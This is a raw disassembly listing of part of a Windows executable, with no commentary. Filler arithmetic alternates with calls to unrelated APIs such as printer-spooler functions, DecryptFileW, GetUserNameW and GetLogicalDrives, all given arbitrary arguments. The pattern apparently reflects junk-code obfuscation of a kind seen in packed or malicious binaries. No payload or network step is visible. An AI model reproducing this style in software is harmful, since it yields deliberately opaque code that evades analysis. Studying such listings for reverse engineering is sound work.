mov rcx, qword [rsp + 0x104f0]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x105d0]
mov byte [rcx], al
lea rax, [rsp + 0x10710]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x106a8]
mov qword [rsp + 0x20], rax
mov r9d, 0x7f
lea r8, [rsp + 0x10868]
mov edx, 0x73
mov rcx, qword [rsp + 0x107e0]
call sub.WINSPOOL.DRV_EnumFormsW
mov dword [rsp + 0x7ffc], eax
movzx eax, word [rsp + 0x27b8]
movzx ecx, word [rsp + 0x27b4]
or eax, ecx
mov word [0x14023c3a0], ax
mov rax, qword [rsp + 0x108d8]
movsx eax, byte [rax]
mov rcx, qword [0x1402815c8]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x50e], al
movsx eax, word [rsp + 0x2818]
movsx ecx, word [rsp + 0x282c]
sub eax, ecx
mov word [rsp + 0x18a8], ax
mov rax, qword [rsp + 0x106a8]
mov rcx, qword [rsp + 0x108f8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x10730], rax
mov rax, qword [rsp + 0x104f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x107b0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x511], al
movzx eax, word [rsp + 0x27e8]
movzx ecx, word [rsp + 0x27b8]
sub eax, ecx
mov word [rsp + 0x1808], ax
movsx eax, word [0x140281570]
mov rcx, qword [rsp + 0x106e8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14023c3a4], ax
movzx eax, word [rsp + 0x27cc]
movzx ecx, word [rsp + 0x2838]
sub eax, ecx
mov rcx, qword [rsp + 0x105f8]
mov word [rcx], ax
mov dword [rsp + 0x20], 0x23
lea r9, [rsp + 0x1e88]
mov r8d, DrawInsert
mov rdx, qword [rsp + 0x10878]
mov rcx, qword [rsp + 0x108c8]
call sub.WINSPOOL.DRV_SetPrinterDataW
mov dword [rsp + 0x69a8], eax
mov rax, qword [rsp + 0x107b0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x105d0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x510], al
mov rax, qword [rsp + 0x10678]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x10810]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xea48], rax
mov rax, qword [rsp + 0xd720]
mov rcx, qword [rsp + 0x10730]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x104b0], rax
lea rax, [rsp + 0x23c30]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x1f
lea r9, [rsp + 0x10710]
lea r8, [rsp + 0x8074]
mov rdx, qword [rsp + 0x10910]
mov rcx, qword [rsp + 0x105b0]
call sub.WINSPOOL.DRV_GetPrinterDataW
mov dword [rsp + 0x8148], eax
mov rax, qword [rsp + 0x10720]
mov eax, dword [rax]
mov ecx, dword [0x14023c394]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x8050], eax
mov rax, qword [rsp + 0x10650]
mov ecx, dword [rsp + 0x7f10]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7ddc], eax
mov rax, qword [rsp + 0x10900]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x105e8]
shr rax, cl
mov qword [rsp + 0xda68], rax
mov dword [rsp + 0x20], 0x26
lea r9, [rsp + 0x107d0]
mov r8d, 0xbc
mov edx, 0x57
mov rcx, qword [rsp + 0x10598]
call sub.WINSPOOL.DRV_SetJobW
mov dword [rsp + 0x80fc], eax
movzx eax, byte [rsp + 0xfe]
mov rcx, qword [rsp + 0x106b0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x51a], al
mov rax, qword [rsp + 0x10758]
mov rcx, qword [rsp + 0x10608]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x80e8], eax
mov rax, qword [rsp + 0x10808]
mov rcx, qword [rsp + 0x10918]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x10820], rax
mov rax, qword [rsp + 0x10850]
mov rcx, qword [rsp + 0x10898]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7f00], eax
mov rax, qword [rsp + 0x105f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2834]
add eax, ecx
mov word [rsp + 0x27d0], ax
lea rax, [rsp + 0x10658]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x8020]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x4b
lea rax, [rsp + 0x10868]
mov qword [rsp + 0x20], rax
mov r9d, 0x3c
mov r8d, 0x8b
mov edx, 0x8f
mov rcx, qword [rsp + 0x10620]
call sub.WINSPOOL.DRV_EnumJobsW
mov dword [rsp + 0x80d4], eax
movzx eax, word [rsp + 0x2834]
movzx ecx, word [rsp + 0x27b8]
add eax, ecx
mov rcx, qword [0x1402815b8]
mov word [rcx], ax
mov rax, qword [rsp + 0x10538]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x108f8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x104b8], rax
lea rax, [rsp + 0x10658]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], 3
lea rax, [rsp + 0x104e8]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x10558]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x413]
mov qword [rsp + 0x20], rax
mov r9d, 0x18
mov r8, qword [rsp + 0x105b8]
mov edx, 0xe4
mov rcx, qword [rsp + 0x10598]
call sub.WINSPOOL.DRV_EnumPrinterDataW
mov dword [rsp + 0x80c0], eax
mov rax, qword [rsp + 0x10900]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x10528]
mov qword [rsp + 0x23be0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x23be0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xf2c0], rax
mov rax, qword [rsp + 0x105f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x27d0]
shl eax, cl
mov word [rsp + 0x1e88], ax
movzx eax, byte [rsp + 0x51a]
movzx ecx, byte [rsp + 0x511]
and eax, ecx
mov byte [rsp + 0x2c4], al
movsx eax, word [rsp + 0x1fe8]
mov rcx, qword [rsp + 0x106e8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14023c3ac], ax
mov rax, qword [rsp + 0x10678]
mov rcx, qword [rsp + 0x10070]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x107e8], rax
movsx eax, byte [rsp + 0x514]
mov rcx, qword [0x1402815c8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xce], al
movzx eax, word [rsp + 0x27d0]
movzx ecx, word [rsp + 0x1e88]
add eax, ecx
mov rcx, qword [rsp + 0x107d0]
mov word [rcx], ax
mov rax, qword [rsp + 0x10740]
mov rcx, qword [rsp + 0x106b8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x104b0], rax
lea rax, [rsp + 0x107e0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x23
lea r9, [rsp + 0x10648]
lea r8, [rsp + 0x10710]
mov rdx, qword [rsp + 0x105e0]
mov rcx, qword [rsp + 0x109c0]
call sub.WINSPOOL.DRV_GetPrinterDataW
mov dword [rsp + 0x80c8], eax
movsx eax, word [rsp + 0x2820]
movsx ecx, word [rsp + 0x2084]
and eax, ecx
mov word [rsp + 0x2828], ax
mov rax, qword [rsp + 0x10528]
mov rcx, qword [rsp + 0x10840]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x105e8], rax
mov rax, qword [rsp + 0x10650]
mov rcx, qword [rsp + 0x10758]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x80a8], eax
mov rax, qword [rsp + 0x10850]
mov rcx, qword [rsp + 0x10898]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x7f54], eax
movzx eax, word [rsp + 0x27cc]
mov rcx, qword [rsp + 0x10658]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x27b4], ax
lea rax, [rsp + 0x27b8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x49
lea r9, [rsp + 0x108a8]
mov r8d, 0xdb
mov rdx, qword [rsp + 0x10878]
mov rcx, qword [rsp + 0x108a8]
call sub.WINSPOOL.DRV_GetFormW
mov dword [rsp + 0x7f48], eax
call fcn.1401f2180
mov rax, qword [rsp + 0x10858]
mov rcx, qword [rsp + 0x10808]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xda68], rax
movzx eax, word [rsp + 0x11b0]
mov rcx, qword [rsp + 0x10570]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1402815d0], ax
movzx eax, byte [rsp + 0x48d]
mov rcx, qword [rsp + 0x105d0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x511], al
mov rax, qword [rsp + 0x10808]
mov r8, qword [rax]
mov rax, qword [rsp + 0x10538]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x10658]
movzx ecx, word [rax]
call fcn.1401f2340
mov rax, qword [rsp + 0x10850]
mov ecx, dword [rsp + 0x8090]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7f00], eax
mov rax, qword [rsp + 0x107d0]
movzx r9d, word [rax]
mov r8, qword [rsp + 0xd1b0]
mov rax, qword [rsp + 0x107d0]
movzx edx, word [rax]
mov rax, qword [rsp + 0x10648]
movzx ecx, word [rax]
call fcn.1401f2080
lea rax, [rsp + 0x8078]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x105c0]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x105e0]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x10880]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x105b8]
mov r8, qword [rsp + 0x105b8]
mov rdx, qword [rsp + 0x105e0]
mov ecx, 0xaf
call sub.VERSION.dll_VerInstallFileW
mov dword [rsp + 0x7ef4], eax
mov eax, dword [rsp + 0x80a8]
mov rcx, qword [rsp + 0x10650]
mov qword [rsp + 0x23be8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x23be8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x8078], eax
mov rax, qword [rsp + 0x10608]
mov rcx, qword [rsp + 0x10758]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x10608]
mov dword [rcx], eax
mov rax, qword [rsp + 0x10528]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x10858]
mov qword [rsp + 0x23bf0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x23bf0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x10718], rax
movzx eax, byte [rsp + 0x516]
movzx ecx, byte [rsp + 0x405]
or eax, ecx
mov byte [rsp + 0x517], al
movzx eax, byte [rsp + 0x510]
mov byte [rsp + 0x20], al
mov rax, qword [rsp + 0x10528]
mov r9, qword [rax]
mov rax, qword [0x1402815c8]
movzx r8d, byte [rax]
mov edx, dword [0x14023c390]
mov rcx, qword [rsp + 0x10818]
call fcn.1401f2210
movzx eax, word [rsp + 0x27b8]
mov rcx, qword [rsp + 0x10658]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x105f8]
mov word [rcx], ax
lea rdx, [rsp + 0x112c]
mov rcx, qword [rsp + 0x105e0]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
mov dword [rsp + 0x7ffc], eax
mov rax, qword [0x1402815c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x512]
xor eax, ecx
mov byte [rsp + 0xd9], al
mov rax, qword [rsp + 0x107e8]
mov rcx, qword [rsp + 0x10678]
mov qword [rsp + 0x23bf8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x23bf8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x10578], rax
mov eax, dword [rsp + 0x7fcc]
mov ecx, dword [rsp + 0x7f88]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a58], eax
mov rax, qword [rsp + 0x10528]
mov rcx, qword [rsp + 0x10808]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x106c8], rax
mov eax, dword [rsp + 0x777c]
mov ecx, dword [rsp + 0x7fd8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7ef4], eax
mov edx, 0xcc
mov rcx, qword [rsp + 0x10870]
call qword [sym.imp.ADVAPI32.dll_DecryptFileW]
mov dword [rsp + 0x7ff8], eax
mov rax, qword [0x1402815c8]
movzx eax, byte [rax]
mov byte [rsp + 0x20], al
movzx r9d, byte [rsp + 0xd9]
mov rax, qword [0x1402815c8]
movzx r8d, byte [rax]
movzx edx, byte [rsp + 0xce]
mov rax, qword [0x1402815c8]
movzx ecx, byte [rax]
call fcn.1401f23c0
mov rax, qword [rsp + 0x106e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x10648]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x27c0], ax
mov rax, qword [rsp + 0x105d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x405]
add eax, ecx
mov byte [0x14023c03a], al
mov rax, qword [rsp + 0x10518]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x11b0]
sub eax, ecx
mov rcx, qword [rsp + 0x10518]
mov word [rcx], ax
jmp 0x1401f12a3
movzx eax, word [rsp + 0x27cc]
mov rcx, qword [rsp + 0x10518]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x10570]
movzx ecx, word [rcx]
mov rdx, qword [rsp + 0x10658]
movzx edx, word [rdx]
sub ecx, edx
cmp eax, ecx
jle 0x1401f12a3
mov rcx, qword [rsp + 0x10638]
call qword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
mov dword [rsp + 0x80f4], eax
mov rax, qword [rsp + 0x105f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x27b4]
and eax, ecx
mov word [rsp + 0x27b8], ax
movsx eax, word [rsp + 0x27ec]
mov rcx, qword [rsp + 0x106e8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2800], ax
mov rax, qword [rsp + 0x10758]
mov ecx, dword [rsp + 0x7ef4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7fec], eax
mov rdx, qword [rsp + 0x10828]
mov rcx, qword [rsp + 0x108a0]
call qword [sym.imp.OLEAUT32.dll_OleCreatePropertyFrameIndirect]
mov qword [rsp + 0x10868], rax
mov rax, qword [rsp + 0x10720]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6a58]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f88], eax
mov rax, qword [rsp + 0x10528]
mov rax, qword [rax]
mov rcx, qword [0x14023c370]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x104e8], rax
mov rax, qword [rsp + 0x10678]
mov rcx, qword [rsp + 0x10538]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x104b0], rax
movzx eax, byte [0x14023c03a]
mov rcx, qword [rsp + 0x106b0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xf8], al
lea rax, [rsp + 0x69a8]
mov qword [rsp + 0x20], rax
mov r9d, 0x96
lea r8, [rsp + 0x10558]
mov edx, 0x49
mov ecx, 0x10
call qword [sym.imp.KERNEL32.dll_GetStringTypeA]
mov dword [rsp + 0x7ff8], eax
movsx eax, byte [rsp + 0x512]
mov rcx, qword [0x1402815c8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xd9], al
mov eax, dword [0x14023c394]
mov ecx, dword [rsp + 0x78c0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f54], eax
mov eax, dword [rsp + 0x7f3c]
mov ecx, dword [rsp + 0x7ddc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x809c], eax
mov rax, qword [rsp + 0x10528]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x10718]
shl rax, cl
mov qword [rsp + 0x10500], rax
movzx eax, word [rsp + 0x27b4]
movzx ecx, word [rsp + 0x11a8]
sar eax, cl
mov word [0x1402815d0], ax
mov rax, qword [rsp + 0x106e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x27fc]
sub eax, ecx
mov word [rsp + 0x27dc], ax
mov rax, qword [rsp + 0x104f0]
movzx eax, byte [rax]
mov rcx, qword [0x140281590]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x105d0]
mov byte [rcx], al
movsx eax, byte [rsp + 0x413]
movsx ecx, byte [0x14023c038]
add eax, ecx
mov byte [rsp + 0x512], al
lea rdx, [rsp + 0x10568]
mov rcx, qword [rsp + 0x107e0]
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
mov dword [rsp + 0x7ffc], eax
mov eax, dword [rsp + 0x8020]
mov ecx, dword [rsp + 0x7ddc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fec], eax
movzx eax, word [rsp + 0x11a8]
movzx ecx, word [rsp + 0x1e88]
add eax, ecx
mov word [rsp + 0x11b0], ax
mov rax, qword [rsp + 0x104f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x105d0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x1402815a0], al
mov rax, qword [rsp + 0x105f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x107d0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x27d0], ax
movsx eax, word [rsp + 0x27c0]
movsx ecx, word [rsp + 0x27d8]
or eax, ecx
mov word [rsp + 0x27dc], ax
mov rax, qword [rsp + 0x10648]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x106e8]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x10648]
mov word [rcx], ax
mov ecx, 0x7b
call qword [sym.imp.KERNEL32.dll_SetConsoleCP]
mov dword [rsp + 0x8074], eax
mov rax, qword [rsp + 0x10718]
movzx ecx, al
mov rax, qword [rsp + 0x106c8]
shr rax, cl
mov qword [rsp + 0x10500], rax
mov eax, dword [rsp + 0x7f54]
mov rcx, qword [rsp + 0x10720]
mov qword [rsp + 0x23c00], rcx
movzx ecx, al
mov rax, qword [rsp + 0x23c00]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6a58], eax
jmp 0x1401f155a
movsx eax, word [rsp + 0x27d8]
movsx ecx, word [rsp + 0x27dc]
xor eax, ecx
mov rcx, qword [rsp + 0x106e8]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov qword [rsp + 0x10520], rax
movzx eax, word [rsp + 0x27b8]
mov rcx, qword [rsp + 0x107d0]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x14023c3a0], ax
mov rax, qword [rsp + 0xd720]
movzx ecx, al
mov rax, qword [0x14023c380]
sar rax, cl
mov qword [rsp + 0x104b8], rax
mov rax, qword [rsp + 0x105d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x50d]
or eax, ecx
mov byte [rsp + 0x48d], al
movzx eax, byte [0x14023c03a]
mov byte [rsp + 0x20], al
mov r9, qword [rsp + 0xd1b0]
mov rax, qword [0x1402815c8]
movzx r8d, byte [rax]
mov rax, qword [rsp + 0x10758]
mov edx, dword [rax]
mov rax, qword [rsp + 0x10538]
mov rcx, qword [rax]
call fcn.1401f2210
jmp 0x1401f15cb
mov rax, qword [rsp + 0x105d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x405]
sub eax, ecx
mov byte [0x1402815a0], al
movsx eax, word [rsp + 0x112c]
mov rcx, qword [rsp + 0x106e8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x27ec], ax
mov eax, dword [rsp + 0x8050]
mov ecx, dword [rsp + 0x7f88]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x10720]
mov dword [rcx], eax
mov edx, dword [rsp + 0x7f10]
movzx ecx, word [rsp + 0x27dc]
call fcn.1401f1fa0
mov rax, qword [rsp + 0x10758]
mov rcx, qword [rsp + 0x10650]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7ddc], eax
mov rax, qword [0x14023c370]
mov rcx, qword [rsp + 0xd1b0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x104e8], rax
mov rax, qword [rsp + 0x10720]
mov ecx, dword [rsp + 0x7368]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6a58], eax
movzx eax, byte [rsp + 0x2fc]
mov byte [rsp + 0x20], al
mov rax, qword [rsp + 0x10528]
mov r9, qword [rax]
mov rax, qword [0x1402815c8]
movzx r8d, byte [rax]
mov edx, dword [rsp + 0x8020]
mov rax, qword [rsp + 0x10538]
mov rcx, qword [rax]
call fcn.1401f2210
jmp 0x1401f16c4
mov rax, qword [rsp + 0x10648]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x112c]
add eax, ecx
mov word [rsp + 0x1eb8], ax
mov eax, dword [rsp + 0x8024]
movzx ecx, al
mov eax, dword [rsp + 0x68f0]
sar eax, cl
mov dword [rsp + 0x7fcc], eax
movzx eax, word [rsp + 0x11b0]
movzx ecx, word [rsp + 0x27b8]
shl eax, cl
mov word [rsp + 0x27d0], ax
mov r8d, 0xda
mov edx, 1
mov rcx, qword [rsp + 0x105c0]
call qword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationW]
mov qword [rsp + 0x105b0], rax
mov rax, qword [rsp + 0x105f8]
movzx r9d, word [rax]
mov r8, qword [rsp + 0x106c8]
movzx edx, word [rsp + 0x11b0]
mov rax, qword [rsp + 0x10648]
movzx ecx, word [rax]
call fcn.1401f2080
movzx eax, word [rsp + 0x27d0]
mov rcx, qword [rsp + 0x10518]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x27cc], ax
movzx eax, word [rsp + 0x27d0]
movzx ecx, word [rsp + 0x11b0]
add eax, ecx
mov rcx, qword [0x1402815b8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x510]
movzx ecx, byte [rsp + 0x50f]
add eax, ecx
mov byte [0x14023c039], al
movsx eax, word [rsp + 0x27ec]
movsx ecx, word [rsp + 0x165c]
add eax, ecx
mov word [rsp + 0x1eb8], ax
mov rax, qword [rsp + 0x104b0]
movzx ecx, al
mov rax, qword [0x1402815a8]
shl rax, cl
mov qword [rsp + 0x104a8], rax
jmp 0x1401f17ed
mov rax, qword [rsp + 0x105d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x104f0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402815c0], al
mov rcx, qword [rsp + 0x104b8]
call fcn.1401f22f0
mov rax, qword [rsp + 0x10578]
mov rcx, qword [rsp + 0x104b0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x10670], rax
jmp 0x1401f1887
mov edx, 1
mov ecx, 0xbb
call qword [sym.imp.KERNEL32.dll_SleepEx]
mov dword [rsp + 0x7f10], eax
mov rax, qword [rsp + 0x104f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x105d0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2fc], al
mov rax, qword [rsp + 0x10518]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x27b4]
sub eax, ecx
mov word [rsp + 0x11b0], ax
movsx eax, word [rsp + 0x27d8]
movsx ecx, word [rsp + 0x165c]
sub eax, ecx
mov word [rsp + 0x1eb8], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x7f3c], eax
mov rax, qword [0x14023c388]
mov rcx, qword [rsp + 0x10588]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x10500], rax
mov rax, qword [rsp + 0x104a8]
mov rcx, qword [rsp + 0x104b8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x10538]
mov qword [rcx], rax
mov eax, dword [rsp + 0x7f10]
mov ecx, dword [rsp + 0x7fd8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7ef4], eax
mov rax, qword [rsp + 0x10648]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x165c]
add eax, ecx
mov word [rsp + 0x27c0], ax
call fcn.1401f2180
jmp 0x1401f1a26
movsx eax, byte [rsp + 0xce]
mov rcx, qword [0x1402815c8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14023c038], al
movzx eax, word [rsp + 0x27b4]
movzx ecx, word [rsp + 0x27d0]
add eax, ecx
mov word [rsp + 0x27b8], ax
movsx eax, word [rsp + 0x1fe8]
movsx ecx, word [rsp + 0x112c]
sub eax, ecx
mov word [rsp + 0x165c], ax
mov rax, qword [rsp + 0x10538]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x104b8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x10578], rax
mov rax, qword [rsp + 0x10538]
mov rcx, qword [0x14023c380]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x10508], rax
lea rax, [rsp + 0x10538]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x7f98]
lea r8, [rsp + 0x105d0]
lea rdx, [rsp + 0x10570]
mov rcx, qword [rsp + 0x10598]
call qword [sym.imp.KERNEL32.dll_ScrollConsoleScreenBufferW]
mov dword [rsp + 0x7f48], eax
mov rax, qword [rsp + 0x104e8]
mov rcx, qword [rsp + 0x10528]
mov qword [rsp + 0x23c08], rcx
movzx ecx, al
mov rax, qword [rsp + 0x23c08]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x10528]
mov qword [rcx], rax
mov eax, dword [rsp + 0x7f10]
movzx ecx, al
mov eax, dword [rsp + 0x7f3c]
shr eax, cl
mov dword [rsp + 0x7ef4], eax
mov eax, dword [rsp + 0x7f88]
mov ecx, dword [rsp + 0x78c0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a58], eax
mov eax, dword [rsp + 0x7ef4]
mov ecx, dword [rsp + 0x7f3c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f10], eax
mov rax, qword [0x1402815c8]
movsx eax, byte [rax]
movsx ecx, byte [0x14023c038]
sub eax, ecx
mov byte [rsp + 0xce], al
mov rcx, qword [rsp + 0x105b0]
call qword [sym.imp.KERNEL32.dll_CancelIo]
mov dword [rsp + 0x7ff8], eax
mov rax, qword [rsp + 0xda68]
movzx ecx, al
mov rax, qword [rsp + 0x10500]
shl rax, cl
mov qword [0x14023c370], rax
mov rax, qword [0x14023c380]
mov rcx, qword [rsp + 0x10538]
mov qword [rsp + 0x23c10], rcx
movzx ecx, al
mov rax, qword [rsp + 0x23c10]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x104b8], rax
jmp 0x1401f1b42
movsx eax, byte [rsp + 0x50e]
movsx ecx, byte [0x14023c038]
add eax, ecx
mov byte [rsp + 0xce], al
movzx eax, word [rsp + 0x27cc]
movzx ecx, word [rsp + 0x27d0]
add eax, ecx
mov word [rsp + 0x27b8], ax
lea rax, [rsp + 0x10508]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x803c]
lea r8, [rsp + 0x10588]
lea rdx, [rsp + 0x10520]
mov rcx, qword [rsp + 0x10598]
call qword [sym.imp.KERNEL32.dll_ScrollConsoleScreenBufferW]
mov dword [rsp + 0x7f48], eax
mov edx, 0xae
mov ecx, 0x88
call qword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
mov dword [rsp + 0x7ffc], eax
mov rax, qword [rsp + 0x10578]
movzx ecx, al
mov rax, qword [rsp + 0x104b0]
shl rax, cl
mov qword [rsp + 0x104a8], rax
mov rax, qword [rsp + 0x10538]
mov rcx, qword [rsp + 0x104b8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x10508], rax
mov rax, qword [rsp + 0x10578]
movzx ecx, al
mov rax, qword [rsp + 0x104b8]
sar rax, cl
mov rcx, qword [rsp + 0x10538]
mov qword [rcx], rax
mov rax, qword [rsp + 0x10528]
mov rax, qword [rax]
mov rcx, qword [0x14023c370]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x104e8], rax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x7f10], eax
mov eax, dword [rsp + 0x7f00]
mov ecx, dword [rsp + 0x7f54]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f88], eax
movsx eax, word [rsp + 0x112c]
movsx ecx, word [0x14023c378]
sub eax, ecx
mov word [rsp + 0x165c], ax
mov rax, qword [rsp + 0x10528]
mov rcx, qword [rsp + 0x104e8]
mov rax, qword [rax]
and rax, rcx
mov qword [0x14023c370], rax
mov edx, 1
mov rcx, qword [rsp + 0x105b0]
call qword [sym.imp.KERNEL32.dll_SetThreadPriorityBoost]
mov dword [rsp + 0x7f80], eax
mov rax, qword [rsp + 0x10518]
movzx r9d, word [rax]
mov rax, qword [rsp + 0x10528]
mov r8, qword [rax]
movzx edx, word [rsp + 0x27b4]
movzx ecx, word [rsp + 0x112c]
call fcn.1401f2080
mov ecx, 0x4d
call qword [sym.imp.KERNEL32.dll_GetUserGeoID]
mov dword [rsp + 0x7f88], eax
mov rax, qword [rsp + 0x10518]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x27cc]
xor eax, ecx
mov word [rsp + 0x27b4], ax
mov rax, qword [rsp + 0x10518]
movzx eax, word [rax]
